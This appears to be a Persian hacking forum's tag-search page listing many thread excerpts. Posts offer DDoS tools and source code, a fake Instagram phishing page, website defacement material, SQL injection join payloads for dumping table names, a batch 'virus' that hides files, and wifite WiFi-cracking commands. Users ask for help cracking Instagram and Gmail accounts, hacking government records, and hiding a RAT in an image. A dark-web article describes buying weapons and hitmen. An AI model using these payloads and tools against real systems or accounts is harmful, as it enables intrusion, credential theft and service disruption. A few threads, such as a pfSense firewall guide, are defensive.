سرور دیسکورد گاردایران
جستجو در تالارهای گفتگو
در حال نمایش نتایج برای برچسب های 'هک'.
138 نتیجه پیدا شد
-
سلام خدمت دوستان عزیز در این پست چند برنامه DDoS قرار دادم و یک فایل سورس که میتونید خیلی راحت کامپایل کنید و نحوه ی کد نویسی رو ببینید که خودتون این نوع حملات رو بنویسید با تشکر💖 Mr_Zero Desktop.zip source code.zip
-
با سلام خدمت تمامی اساتید انجمن تیم امنیتی گاردایران . این تاپیک برای قرار دادن یسری کتاب مفید در زمینه تست نفوذ و هک و امنیت قرار داده شده . امیدوارم نظرتونو جلب کنه 😊😊 اولین کتاب 1- کتاب خودکار سازی فرآیند ها با سی شارپ (تست نفوذ کلاه خاکستری با سی شارپ ) C#.Net GrayHat_C#.pdf
- 1 پاسخ
-
- 5
-
-
- کتابهای تست نفوذ
- کتاب هک
- (و 7 مورد دیگر)
-
با سلام خدمت دوستان عزیز گارد ایران در این تاپیک برای شما تارگت های مختلف sql injection رو قرار می دم که به صورت ویدئویی هست و ضبط کردم تا بتوانید تمرین کنید لذت ببرید . 😁 لینک کانال برای مشاهده ویدئو ها : https://www.youtube.com/channel/UCLkbfmELZBnOvh1dwK1hXZw چند نکته مهم : لطفا اگر دوستی قصد ارسال پست دارد فقط به صورت ویدئویی باشد . تارگت در مورد sql injection باشد و بهتره تارگت با نکته ارائه شود . اسپم ارسال نکنید و اگر سوالی داشتید در بخش سوال و جواب ها بپرسید . و اگر پیشنهاد و یا چیزه دیگه ای بود به صورت خصوصی پیام دهید . (در این جا اسپم ارسال نشود ) تشکر 🙏 .
-
آموزش تصویری آموزش تصویری دوره کامل تست نفوذ با زیرنویس فارسی
mownten یک موضوع را ارسال کرد در آموزش های تصویری
با سلام خدمت کلیه دوستان و اساتید امروز تصمیم گرفتم که دوره آموزش تست نفوذ همراه با زیرنویس فارسی در اختیار همه علاقمندان بذارم تا بتونن با کار های ضروری تست نفوذ آشنا بشن. این دوره توسط آقای مالکوم شور آموزش داده میشه. سرفصل ها: 00- معرفی (3 ویدیو - ~3 دقیقه) 01- تست نفوذ چیست؟ (2 ویدیو - ~16 دقیقه) 02- ابزار تست نفوذ (6 ویدیو - ~28 دقیقه) 03- اسکریپت نویسی بش (3 ویدیو - ~6 دقیقه) 04-اسکریپت نویسی پایتون (7 ویدیو - ~21 دقیقه) 05- کالی و متااسپلویت (7 ویدیو - ~25 دقیقه) 06-تست نفوذ وب (4 ویدیو - ~16 دقیقه) 07-درک کدهای اکسپلویت (4 ویدیو - ~35 دقیقه) 08- جمع بندی (1 ویدیو - ~2 دقیقه) طول دوره : جمعا 2 ساعت و 29 دقیقه درجه بندی سطح: متوسط ( Intermediate ) من هر قسمت رو با فاصله ارسال میکنم. چونکه اول باید زیرنویس رو ترجمه کنم بعد استارتر رو بهش بچسبونم و کلی دردسر دیگه. از فصل دو به بعد هم موارد آموزشی یه خورده تخصصی میشن و نیاز به حفظ کردن و تسلط دارن. پس توی فاصله ی بین هر آموزش هم سعی کنید با تکرار عملی آموزشی ها، اونا رو یاد بگیرید. آموزش ها حاوی فایل ویدیویی بهمراه زیرنویس فارسی هستن تا بتونید روی هر دستگاهی اونا رو مشاهده کنید. بدلیل آموزشی بودن پست به هیچ وجه اقدام به ارسال اسپم جهت تشکر و یا پرسیدن سوال نکنید. اگر ابهام، مشکل و یا سوالی داشتید بصورت خصوصی بپرسید ، تشکر هم که دکمه داره. اسپم ممنوع پسورد کلیه فایل های فشرده هم : guardiran.org امیدوارم لذت ببرید. کیفیت ویدیو ها : HD 720p چنانچه استقبال خوبی بشه، در سطح گسترده انواع آموزش ها رو ارائه خواهیم داد. از همینجا اعلام میکنم که ویدیوی آموزشی بدون واترمارک هست و امکان انتشار و اشتراک ویدیو وجود داره. پس باید بگم که مسئولیت هرگونه سوءاستفاده از دوره های آموزشی فقط و فقط بر عهده کاربر خاطی هست. -
سلام خدمت دوستای عزیزم تو گارد ایران امید وارم که حالتون خوب باشه در این بخش با اجازه مدیران بخش عزیز اکشن ها قرار میگیرند نحوه استفاده اکشن همین امشب در همین بخش بارگزاری خواهد شد انشاا... که استفاده کنید ! قوانین بخش ! 1-اکشن همراه با دمو ارسال شود ! 2- پسورد همه فایل ها guardiran.org باید باشد 3-ارسال اسپم ممنوع 4-سوالا در بخش سوالات و پیشنهادات در بخش پیشنهادات ! یا حـ ـق ../
- 5 پاسخ
-
- 6
-
-
- مجموعه اکشن
- بانک اکشن
- (و 8 مورد دیگر)
-
من هیچ تجربه ای تو نه هک و نه برنامه نویسی ندارم سوالی که از دوستان دارم اینکه میشه از طریق وای فای یه سیستم رو هک کرد؟ مثلا توی خدماتی نشستی یه مودم اونجا نصب کنی و هر کدوم از اون کارمندا وصل بشن بهش تو از اون طریق سیستمش رو هک کنی؟ البته اینو از تو فیلم دیدم ولی احتمالا ممکنه کسی میدونه یه توضیح بده
-
اساتید و دوستان خبره بنظرتون میشه به اطلاعات محرمانه و شخصی افراد با داشتن یه سری اطلاعات جزیی دست پیدا کرد!؟ 1. مثلا تمام ثبت احوال دسترسی کامل به اطلاعات شخصیمون دارن 2. تمام مخابرات و خدماتی ها با داشتن شماره و یا کدملی میتونن به اطلاعات ما دست پیدا کنن 3. یا کلانتری ها یا دادگستری و.. میتونن سابقه مارو پیدا کنن و سوال اینه ایا میشه و چجوری میشه این مکان هارو هک کرد تا بشه به اطلاعات شخصی افراد با داشتن شمارشون. کدملیشون. و... دست پیدا کرد!!!؟ -
با سلام خدمت شما دوستان عزیز در این تاپیک قصد دارم ابزار Hammer که برای حملات dos و ddos استفاده می شود رو به شما آموزش بدهم . برای شما یک ویدئو آموزشی آماده کردم : در فایل ضمیمه برای شما آموزش تصویری رو آماده کردم تا بتوانید بهتر این ابزار رو یاد بگیرید . فرمت : PDF به شما هم آموزش ویدئویی رو پیشنهاد می کنم و هم آموزش تصویری ، پیروز باشید 😁 Hammer Image.pdf
-
- 6
-
-
-
- ابزار امنیتی
- ابزار هک
- (و 14 مورد دیگر)
-
با سلام خدمت تمام کاربران و مدیران GUARDIRAN در این تاپیک قصد دارم یک پیج فیک اینستاگرام رو به شما دوستان عزیز بدم . فقط دوستان توجه داشته باشید که باید هر چیزی که بین این کامنت هست رو حذف کنید : <!--***************************** MR.MSA *****************************--> برای دانلود به فایل پیوست مراجعه کنید . --------------------- امید وارم از این پست لذت برده باشید و از فیک پیج اینستاگرام استفاده کرده باشید . یه مشکلات ریز داشت یه خوبی خودتون ببخشید . ******************** MR.MSA ***************** Fake Page Instagram.zip
-
با سلام همانطور که در آموزش متد join در sql injection گفتم چند نکته در رابطه با متد join هست که باید بگویم که در این پست قرار است این نکات رو شرح بدم . در بعضی از تارگت ها ممکن است زمان محدود سازی سایت به = حساس باشد : union+select+*from+(select 1)a+join+(select+group_concat((table_name)+separator+0x3c62723e)+from+information_schema.tables+where+table_schema=database)b+join+(select 3)c+join+(select 4)d+join+(select 5)e%23+ پس شما باید از این دستور استفاده کنید : site.com/news.php?id=3+union+select+*from (select 1)a+join+(select+group_concat(table_name)+from+information_schema.tables+where+table_schema+like+’dbname’)b+join+(select 3)c+join+(select 4)d+join+(select 5)e%23 به جای dbname نام دیتابیس مورد نظر را بزنید (در بین دو کتیشن ) و اگر با مشکل مواجه شدید دو کتیشن را حذف کنید و نام دیتابیس را بصورت hex بنویسید . ------------------------------ برای بدست آوردن نام دیتابیس در متد join از این دستور استفاده کنید : site.com/news.php?id=3+union+select+*from (select 1)a+join+(select+database())b+join+(select 3)c+join+(select 4)d+join+(select 5)e%23 ------------------------------ امید وارم از این پست لذت کافی رو برده باشید و پست رو به خوبی تمام کرده باشم و متد join رو به خوبی یاد گرفته باشید . هر گونه سوال در مورد پست داشتید در قسمت پرسش و پاسخ بپرسید . ************ MR.MSA ************ <آموزش متد polygon در sql injection > < آموزش متد join در sql injection > <دانلود نسخه های ۲۰۱۸ و ۲۰۱۹ کالی لینوکس> <دانلود نسخه های ۲۰۱۶ و ۲۰۱۷ کالی لینوکس> <دانلود نسخه های ۱ تا ۲ کالی لینوکس >
-
- 7
-
-
-
- method
- method sql injection
- (و 27 مورد دیگر)
-
داشتم فایلامو میگشتم ب ی اموز باحال برخوردم گفتم واستون بزارم شاید ب درد بخوره اینجا میخوام نوشتن یه ویروس کوچولو رو با هم کار کنیم البته آنتی ویروسش هم همینجاس: مثل من مراحل زیر رو یکی یکی انجام بدین : 1- یک فایل متنی مثل notpad باز کنید سپس دستور روبرو رو توی اون تایپ کنید Attrib +h +s +r 2- فایل رو با پسوند bat ذخیره کنید . 3- به همین راحتی شما الان یه ویروس نوشتید که اونو توی هر فولدری اجرا کنید فایلهای موجود رو مخفی می کنه که حتی با گذاشتن تیک show hidden file در tools----option نیز فایلها نمایش داده نمیشن . شما قابلیت های بیشتری هم برای این ویروس می تونید در نظر بگیرید مثل اینکه آدرس مسیر مورد نظرتون رو جلوی دستور Attrib +h +s +r بنویسید تا فقط همون مسیر ویروسی شه . 4- برای پاک کردن اثر ویروس میتونید همون مراحل 1 و 2 و 3 رو انجام بدین اینبار با این دستور Attrib -h -s -r که می یاد خواص سوئیچهای دستور مذکور را بر می دارد . یه نکته مهم که اینجا باید یاد آور شم اینه : هر وقت دیدید فایلها یا پوشه هاتون مخفی شدن یا شاید با تصور اشتباه پاک شده باشند فقط کافیه روی پوشه یا درایو مربوط کلیک راست کرده و در prorerties آن حجم فولدر و تعداد فایلهای آنرا ببینید تا از پاک کردن نا خود آگاه آنها جلوگیری شود . حالا یک سری خواص دستور attrib رو برای دوستانی که به این مطلب علاقه دارند میذارم : دستور Attrib: برای نسبت دادن خصیصه های فقط خواندنی، مخفی، آرشیو و سیستمی به فایل یا فولدر استفاده میشه. که دارای سوئیچ های : + برای قرار دادن خصیصه - برای پاک کردن خصیصه S برای سیستمی کردن فایل یا فولدر A برای آرشیو کردن فایل یا فولدر H برای مخفی کردن فایل یا فولدر R برای فقط خواندنی کردن فایل یا فولدر و دو سوئیچ فوق العاده زیر D برای پردازش فولدرها S برای تعیین صفت خاصه به تمامی فایل ها و ساب فولدر های موجود
- 2 پاسخ
-
- 2
-
-
- هک
- ویروس نویسی
- (و 8 مورد دیگر)
-
بایند کردن فایل apk با png بایند کردن فایل Apk (رات) با فایل Png.
Ahmad_Norali یک موضوع را ارسال کرد در هک موبایل
با سلام و عرض خسته نباشید به تمامی دوستان گرامی: بندع قصد دارم یک فایل (Apk) را با یک فایل (Png) بایند کنم در حالی که اون فایل (Apk) رت یا همون رات هست اون رات بعد از نصب و اجرا به صورت کامل فعال میشه و نیاز به هیچ دسترسی دستی نداره ولی فایل (Apk) و (Png) باید جوری بایند بشند که بعد از دانلود شدن فایل (Png) فایل (Apk) به صورت خودکار نصب و فعال بشه. میتونین راهنمایی کنین چطوری اینکارو انجام بدم؟؟ لطفا جواب بدید🙏 -
دارک وب چیست؟ دارک وب شبکه ای بزرگ و مخفی است که شاید 10 درصد افراد این انجمن از وجود آن بی خبر باشند. دلیل نام گذاری این شبکه به دارک وب به دلیل پنهانی و ناشناخته بودن آن است. تمام افرادی که از این شبکه مخفی استفاده می کنند به دلیل امنیت بی نظیر آن است که به صورت آنلاین و از پسورد های و پسورد های محافظت شده ان است، البته باید این هم بگویم که استفاده از این شبکه کار راحتی نیست و باید از چندین (پی وال) گذشت و از نرم افزار های به خصوصی استفاده کرد.طبق تحقیقاتی که توسط نشریه Nature به چاپ رسیده است گوگل قادر به ایندکس دارک وب و ردیابی آن نیست و تنها 0.03 درصد از همه اطلاعات آن در گوگل جست و جو می شود. در دارک وب چه کار هایی انجام می شود؟ 1. خرید و فروش مواد مخدر تاجران مواد مخدر و حتی افراد عادی در این شبکه می توانند به راحتی انواع موارد مخدر را تبادل کنند. بیشتر فروشندگان چینی از طریق این شبکه در طول 2 سال توانستند از طریق فروش مورد مخدر در دارک وب 200 میلیون دلار درامد داشته باشند!! 2.ارز های تقلبی و جعلی در دارک وب همه ارز ها از جمله یورو، پوند، ین و دلار در حال تبادل است و می توان ارز های تقلبی را از طریق این شبکه خرید و فروش کرد. 3. تهیه مدارک جعلی داخل این شبکه به راحتی می توان تمام مدارک مهم از جمله پاسپورت، شناسنامه، گواهینامه رانندگی، انواع مدارک شهروندی، کارت های شناسایی، مدارک دانشگاهی، مدارک مهاجرتی و حتی کارت های شناسایی دیپلماتیک را تهیه کرد! به عنوان مثال حالا که من این مقاله را می نویسم برای جعل یک پاسپورت امریکایی باید 500 دلار خرج کرد!! 4. اسلحه، مهمات اسلحه و موارد منفجره اسلحه هایی مانند کلت کمری و مواد منفجره مثل نارنجک را مثل آب خورد می توان خریداری کرد! اما شاید باورتان نشود ولی اسلحه هایی مانند DSR-Precision یا XM307 ACSW را می توان خریداری کرد اما اگر بخواهید همچین اسلحه هایی را بخرید باید پول یک خودرو را هزینه کنید😂البته این مهمات را در اسباب بازی های بزرگ یا عروسک های بزرگ قرار می دهند و آن ها را با چیز هایی می پوشانند که اشعه ایکس نتواند آن ها را شناسایی کند. 5. قتل (murder) در دارک وب می توانید برای خود یک قاتل حرفه ای استخدام کنید تا بتواند برای شما به صورت غیر قانونی و ..... افرادی را به قتل برسانند، اما نگران نباشید چون این آپشن توی ایران فعال نیست و در ایران قاتلی استخدام نمیشه. اما در کشور هایی مانند امریکا و انگلیس هم که این قاتل ها برای قتل افرادی مثل رئیس جمهور و نخست وزیر ها استخدام نمی شوند. 6. اعضای بدن وقتی که افراد واقعا نیازمند به اعضایی مثل کلیه یا قلب پیدا می کنند دست به این اقدام و وحشتناک می زنند و افرادی هم اعضای بدن انسان ها را قاچاق می کنند تا بتوانند این کار را انجام بدهند. الان قیمت قلب 200هزار دلار، کلیه 220هزار دلار، کبد 170هزار دلار و یک جفت چشم کامل 1700هزار دلار به فروش می رود. البته جرایم اینترنتی و فایل های غیرقانونی زیادی در دارک وب وجود دارد که دیگه فقط نام می برم و توضیحی در موردشون نمی دهم و فقط نام می برم: 1. پول رمز نگاری شده 2. خدمات میزبانی وب 3. خدمات ابری 4. جُرم افزار 5. استخدام هکر (البته 80 درصد کاربران این انجمن خود هکر هستند😅) 6.مراکز تماس جرایم مختلف چگونه وارد دارک وب شویم؟ برای ورود به دارک وب نمی توان از مرورگر های عادی استفاده کرد. شما باید از مرورگر Tor یا همان the Onion Router استفاده کنید و برای امنیت بیشتر همراه با Tor از یک VPN هم استفاده کنید تا امنیت شما بی نقص شود. برخی از سایت های دارک وب عبارتند از: (برای ورود روی نام لینک ها کلیک کنید) 1. The Hidden Wiki 2. ProPublica 3. SoylentNews 4. Keybase لینک های معتبر دارک وب همواره در حال تغییر هستند و و از آنجایی که این کار خلاف قوانین هر کشوری است، من نمی توانم لینک دارک وب برای خرید و فروش اسلحه یا موارد مخدر را به شما بدهم، اما این لینک ها هم مفید هستند و برای آزمایش عملکرد دارک وب می توانید آز آنها استفاده کنید. اما باید بگویم که استفاده از این لینک ها برای مدت طولانی اصلا خوب نیست و ممکن هست که دست به کار های خلافی بزنید (البته شما که خوبید🙄) که عواقب خیلی بدی برای ما به همراه داره فکر می کنید خوب است که دسترسی به این شبکه آسان نباشد؟ نظر و مشکلات خود را خود در بخش کامنت ها به اشتراک بگذارید تا پاسخ شما داده شود. تا مطالب بعدی خدانگهدار
-
- 4
-
-
- ورود به دارک وب
- دیپ وب
- (و 5 مورد دیگر)
-
درخواست کرک کردن یا هک نمودن یک پیج اینستا
alimohamadzadeh یک موضوع را ارسال کرد در سوال و جواب های امنیت ایمیل های شخصی
یه پیج اینستا هستش که هرکار کردم نتونستم کرک کنم هم با ترموکس تلاش کردم هم با sentry mba چون رشتم کامپیوتر نیستش خیلی برام سخت بود و با تمام تلاشی که کردم اما نشد اگه کسی می تونه کمکم کنه ممنون میشم همینجا یا تو تلگرام بهم پیام بده آیدی ******@ -
کرک جیمیل
Conqueror_Boy یک موضوع را ارسال کرد در سوال و جواب های نفوذ به سایت ها و سرورها و روشهای مقابله
سلام دوستان عزیز. میخواستم بپرسم بهترین راه برای کرک جیمیل چه روشی هست +آموزش ممنون. -
کار با اسکنر rapidscan
mr_locker یک موضوع را ارسال کرد در آموزش های تصویری سایت ها و سرورها و روشهای مقابله
به نام آفریننده هستی MR.locker هستم با آموزشی دیگه در خدمت شمام امروز میخوام آموزش کار با اسکنر rapidscan رو یاد بدم. قبل هر چیز توضیحی بدم درباره این اسکنر این اسکنر بسیار اسکنر قدرتمندیه به این دلیل که کار این اسکنر به این صورته که از دیگر اسکنر های قدرتمند برای جست و جوی باگ استفاده میکنه و به جرعت میتونم بگم که خیلی قدرتمنده و فقط تنها ایرادی که داره سرعت نصبتا پایینشه ولی به چشم نمیاد. اول از همه از گیتهاب کلونش میکنیم با دستور https://github.com/skavngr/rapidscan.git و بعد از کلون شدن با زدن دستور cd rapidscan وارد پوشه ابزار میشیم پس از وارد شدن به پوشه ابزار دستور python rapidscan.py رو میزنیم و جلوی اون سایتی که میخواییم اسکن شه رو میزاریم مثل python rapidscan.py target.com تا آموزش بعدی یا حق-
- 1
-
-
- اسکنر
- آسیب پذیزی
- (و 3 مورد دیگر)
-
با سلام خدمت شما دوستان گرامی بعد از این که متوجه ی این شدم که اموزش های سیستم عامل کالی لینوکس در انجمن دیگر گذاشته نمیشود و دوستان میخواهند که اموزش هارو از صفر یاد بگیرن بنا به این شدم که دست به کار بشم و با کمک دوستان عزیز در انجمن اگر نواقصی دیدن در تاپیک ها کمک کنن تا بر طرف بشه..... دوستان تازه کار و مدیران شبکه و حتی یا وبمستران هم میتوانند از این اموزش ها برای محک زدن امنیت سایت خود استفاده کنند و در صورت مشاهده ی نقطه ی ضعف انرا بر طرف کنند.لطفا از اموزش ها برای افزایش امنیت سایت های خودتون استفاده کنید تا کمتر شاهد هک شدن سایت های ایرانی باشیم. در صورت نیاز به مشاوره و کمک جدی میتونید به صورت پیام خصوصی با ما در تماس باشید. قوانین تاپیک: اسپم ممنوع(دوستان عزیز چون خود اموزش ها طولانی هست لطف کنین و اسپم ندید در صورت مشاهده با کاربربرخورد میشه) ((سوالات خودتون رو درلینک زیر بپرسین تا به انها خودم و یا دیگر مدیران جواب بدن)) http://guardiran.org/forums/topic/2259-سوالات-مربوط-به-بخش-اموزش-کالی-لینوکس/?p=9251 از قرار دادن اموزش های تکراری پرهیز کنین در صورت گذاشتن ابزاری خاص لینک اسکن فراموش نشود با تشکر فراوان از شما دوستان گرامی
- 36 پاسخ
-
- 38
-
-
- کتاب اموزش کالی لینوکس به زبان فارسی
- کتاب فارسی اموزش هک
- (و 47 مورد دیگر)
-
سلام خدمت همه اساتید بزرگوار. ببخشید عرضی داشتم من میخوام اکانت ادمین یه چت روم رو هک کنم در واقع یوزر و پسوردشو بدست بیارم اما نمی دونم چجوری. لطفا هرکی هرچی میدونه یه کمک کوچک به ما بکنه
-
سلام دوستان من یه لینک دارم که خیلی واضح هستش که لینک فیک و درواقع تقلبی هستش. مثلا : https://gski2563kj.ngrok.io حالا میخوام این لینک رو که قراره برای قربانی ارسال بشه داخل یه لینکی مثلا آدرس سایت اینستا پنهان کنم ولی شخص با کلیک روی اون ، لینک من رو اجرا کرده باشه... اگه امکانش هست بگید چنین چیزی میشه؟ و اگه میشه توضیح بدید چجوری ممنون میشم... ممنون
-
درود, آموزش دیفیس(هک) وبسایت با کمک افزونه Noredirect در فایرفاکس سوالی هست زیر همین تاپیک جواب میدم امیدوارم مفید باشه و در راه آموزش استفاده شه! پسورد : guardiran.org Goodzilam.part1.rar Goodzilam.part2.rar
-
Account Checker Instagram اکانت چیکر اینستاگرام میخواستم ممنون میشم برام بفرستین حتماً کار کنه و سالم باشه، ویروسی هم نباشه بهتره اگه کار کنه یه هدیه براتون دارم ( هک و اینچیزا نیست )
-
اسکنر lulzbuster v1.0.0 ابزار اسکن دایرکتوری های وبسایت
1TED یک موضوع را ارسال کرد در آموزش های تصویری سایت ها و سرورها و روشهای مقابله
بسم الله الرحمن الرحیم درود ../ آموزش کار با ابزار جدید nullsecurity تحت عنوان lulzbuster در خدمت شما دوستان عزیز هستیم کار ابزار اسکن دایرکتوری های مختلف و همچنین فایل های خاص یک وبسایت هست که بسیار سریع و کم حجم هست میتونید با این ابزار یک اسکن جامع روی تارگت مورد نظر خودتون داشته باشید ( برای پیدا کردن ادمین پیج بسیار موثر هست ) کار با ابزار بسیار ساده هست و هدف صرفا معرفی ابزار هستش ابزار و فیلم آموزش نصب و استفاده پیوست میشه ../ یا حق ../ lulzbuster.zip lulzbuster-1.0.0.tar.xz -
بچه ها این آسیب‌پذیری با شماره CVE-۲۰۱۹-۱۱۰۴۳ ردیابی میشه و به مهاجمان اجازه میده تا با دسترسی به یک URL ساخته شده، دستوراتی را روی سرورها اجرا کنن. بهره‌برداری از این آسیب‌پذیری به سادگی انجام میشه و کد اثبات مفهومی (PoC) اون به صورت عمومی توی گیتهاب منتشر شده و در دسترس همه هست اسکریپت PoC موجود در گیتهاب میتونه از طریق وب سرور مورد نظر، وجود آسیب‌پذیری رو بررسی کنه و وقتی که یک هدف آسیب‌پذیر شناسایی بشه، مهاجم میتونه به سرور وب آسیب‌پذیر، درخواست دستکاری شده ارسال کنه البته همه سرورهای مبتنی بر PHP تحت تأثیر قرار نمی‌گیرن و فقط سرورهای NGINX که ویژگی PHP-FPM اونا فعال باشه آسیب‌پذیر هستن
- 2 پاسخ
-
- 3
-
-
-
- bug
- اسیب پذیری سایت
- (و 4 مورد دیگر)
-
در اینجا به معرفی یکی از بهترین ابزار هک یا تست نفوذ وایفای ( wifi penetration testing ) میپردازیم. برخی از ویژگی های این ابزار عبارتند از : اهداف را به ترتیب قدرت سیگنال در db مرتب میکند فیلتر های متنوع برای نوع حمله ( Wpa / wep / هر دو / بالاترین قدرت سیگنال / کانال ها و...) ویژگی ناشناس ( قبل از حمله MAC را به یک ادرس تصادفی تغییر میدهد و بعد از اتمام حمله به حالت اولیه بازگردانی میکند) توقف حمله با ctrl+c همراه با گزینه ادامه , تارگت بعدی, خروج و ... تصدیق هویت هوشمند WPA و... دستورات ( commands ) این ابزار : COMMANDS -check <file> check capfile <file> for handshakes. -cracked display previously-cracked access points GLOBAL -all attack all targets. [off] -i <iface> wireless interface for capturing [auto] -mac anonymize mac address [off] -c <channel> channel to scan for targets [auto] -e <essid> target a specific access point by ssid (name) [ask] -b <bssid> target a specific access point by bssid (mac) [auto] -showb display target BSSIDs after scan [off] -pow <db> attacks any targets with signal strenghth > db [0] -quiet do not print list of APs during scan [off] WPA -wpa only target WPA networks (works with -wps -wep) [off] -wpat <sec> time to wait for WPA attack to complete (seconds) [500] -wpadt <sec> time to wait between sending deauth packets (sec) [10] -strip strip handshake using tshark or pyrit [off] -crack <dic> crack WPA handshakes using <dic> wordlist file [off] -dict <file> specify dictionary to use when cracking WPA [phpbb.txt] -aircrack verify handshake using aircrack [on] -pyrit verify handshake using pyrit [off] -tshark verify handshake using tshark [on] -cowpatty verify handshake using cowpatty [off] WEP -wep only target WEP networks [off] -pps <num> set the number of packets per second to inject [600] -wept <sec> sec to wait for each attack, 0 implies endless [600] -chopchop use chopchop attack [on] -arpreplay use arpreplay attack [on] -fragment use fragmentation attack [on] -caffelatte use caffe-latte attack [on] -p0841 use -p0841 attack [on] -hirte use hirte (cfrag) attack [on] -nofakeauth stop attack if fake authentication fails [off] -wepca <n> start cracking when number of ivs surpass n [10000] -wepsave save a copy of .cap files to this directory [off] WPS -wps only target WPS networks [off] -wpst <sec> max wait for new retry before giving up (0: never) [660] -wpsratio <per> min ratio of successful PIN attempts/total tries [0] -wpsretry <num> max number of retries for same PIN before giving up [0] EXAMPLE ./wifite.py -wps -wep -c 6 -pps 600 توجه: در صورت استفاده این ابزار در ویندوز نیاز به نصب پایتون خواهید داشت. دانلود فایل پسورد: guardiran.org wifite-2.0r85.zip
- 2 پاسخ
-
- 4
-
-
-
- کرکر وایفای
- crack
- (و 11 مورد دیگر)
-
آموزش کامل فایروال Pfsense با سلام از اونجایی که وقت تایپ زیاد ندارم این که این فایر وال چی هست و .. رو ارجاع میدم به منابع دیگه و میریم سراغ آموزش چند نکته که باید بگم ۱. این فایر وال نیاز به یک سخت افزار قوی نداره پس برای استفاده در خانه هم مفید هست ۲. آموزش رایگان این فایروال رو من در سایت های ایرانی ندیدم ۳. شرکت های بزرگی مثل اپل از این فایروال استفاده میکنند ۴. در این تایپیک اسپم ممنوع و سوالات خود را در تایپیک جدا مطرح کنید ۵. از صبر شما مچکرم ۶. برای تشکر از دکمه تشکر اسفاده کنید ----------------------------------------------------------------------------------------------------------------------------------------------------------------- Pfsense چیست؟ Pfsense یک فایروال نرم افزاری opensource می باشد که بر پایه FreeBSD ساخته شده. میتوانید از آن به عنوان یک فایروال/ روتر استفاده نمایید و روتر اختصاصی شبکه خود را داشته باشید. در رابطه با تاریخچه ایجاد pfsense، پروژه pfsense در سال 2004 آغاز شد و اولین انتشار آن در سال 2006 بود. ویژگی های pfsense :می توانید برای فیلتر کردن IP های مبدا و مقصد بسته ها و همچنین پورت های udp و tcp از آن استفاده کنید محدود کردن تعداد connection ها بر اساس rule ها مختلف ابزار های رمز نگاری پیشرفته برای سیستم عامل و شبکه مسدود سازی و اعمال محدودیت برای سرور ها و سیستم ها بر اساس نوع سیستم عامل (برای مثال اگر بخواهید سرور های لینوکسی به اینترنت دسترسی داشته باشند و سرور های ویندوزی دسترسی به اینترنت نداشته باشد بر اساس نوع سیستم عامل می توانید برای آنها اعلام وضعیت کنید ) می توانید ترافیک ها را بر اساس نوع آنها مدیریت نمایید و برای آن ها محدودیت قاعل شوید قابلیت نرمالسازی ترافیک را دارید می توانید قابلیت فیلترینگ را به صورت کامل خاموش نمایید تا سرور شما به یک روتر ساده تبدیل شود قابلیت فیلترینگ برای لایه 2 و لایه 3 در pfsense وجود دارد می توانید حتی در لایه application نیز محدودیت هایی برای کاربران قرار دهید وجود سیستم nating برای انجام nat در pfsense قابلیت پیکربندی همزمان دو فایروال در شبکه را داراست و امکان استفاده از HA یا همان قابلیت دسترسی بالا وجود دارد. به این صورت که هر دو فایروال به صورت خودکار قابلیت تعامل با یکدیگر را دارند و در صورت از دسترس خارج شدن یکی از آنها دیگری می تواند خدمات ارائه دهد می توانید از pfsense به عنوان یک سرور مانیتورینگ برای سخت افزار و وضعیت بسته ها نیز استفاده نمایید منبع : server.ir
